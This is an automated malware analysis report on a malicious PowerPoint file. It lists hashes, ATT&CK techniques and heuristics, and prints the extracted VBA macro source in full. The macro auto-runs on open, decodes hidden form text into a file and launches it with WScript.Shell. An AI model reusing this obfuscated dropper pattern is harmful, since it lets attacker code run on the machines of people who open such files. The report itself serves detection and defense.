Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d1fc49f78fffc945…

MALICIOUS

Office (OOXML)

28.9 KB First seen: 2021-09-29
MD5: 59803e023ddde0383aeefd08a0046ef4 SHA-1: 4801c96849db0ec3ed7969e0d8c99ebaf36daf48 SHA-256: d1fc49f78fffc945582eb0b862183004f06e7aae3521a5575005a419c2e63875
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing a VBA macro with an Auto_Open subroutine. This macro utilizes WScript.Shell and CreateObject to execute commands, specifically attempting to download and save content to a file named 'C:\Windows\Explorer '. The macro's intent is to download and execute a second-stage payload, indicated by the use of Shell() and WScript.Shell.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1641 bytes
SHA-256: b70c500fa9b13ab54a479890496f72d4139825c83fddd06783dbcf836927344d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NpOUTjS"




Public Sub aUtO_oPeN()






wRCMTGV.Show




End Sub






Attribute VB_Name = "wRCMTGV"
Attribute VB_Base = "0{2C7FFF9F-C2FC-494D-968E-1C88A89C380F}{818B8586-A4F2-4C52-BFE5-6E0F44A018DC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False







Public qPeWlgn As New mFaXDHp



Private Sub UserForm_Terminate()




qPeWlgn.mLaaUHX




End Sub







Attribute VB_Name = "mFaXDHp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False





Public Function PrBTmus(rgvSedB)
PrBTmus = Replace(rgvSedB, "¡N.<k7b{.tNC{[Dz[CZU#]b<7$6(_]", "")
End Function


Sub mLaaUHX()





Dim axlMMtb As String: axlMMtb = wRCMTGV.YBMgySu.Tag


Dim uFPzBAL As String: uFPzBAL = PrBTmus(axlMMtb)
Open uFPzBAL For Output As #1


Dim WDePJgj As String: WDePJgj = wRCMTGV.YBMgySu.ControlTipText


Dim HvoVwqL As String: HvoVwqL = PrBTmus(WDePJgj)
Print #1, HvoVwqL
Close



On Error Resume Next
AppActivate "Microsoft PowerPoint Services..."
If Err <> 0 Then
Err = 0

Set zMpiEGl = CreateObject("WScript.Shell")

Set CvYZXSh = zMpiEGl.exEc("C:\Windows\Explorer " & uFPzBAL)

If Err <> 0 Then MsgBox "Can't Stop "
End If


End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 53760 bytes
SHA-256: 41406faff6e6215390e24fc5362f12e902e62b2a124d23d4baee42abad122c40

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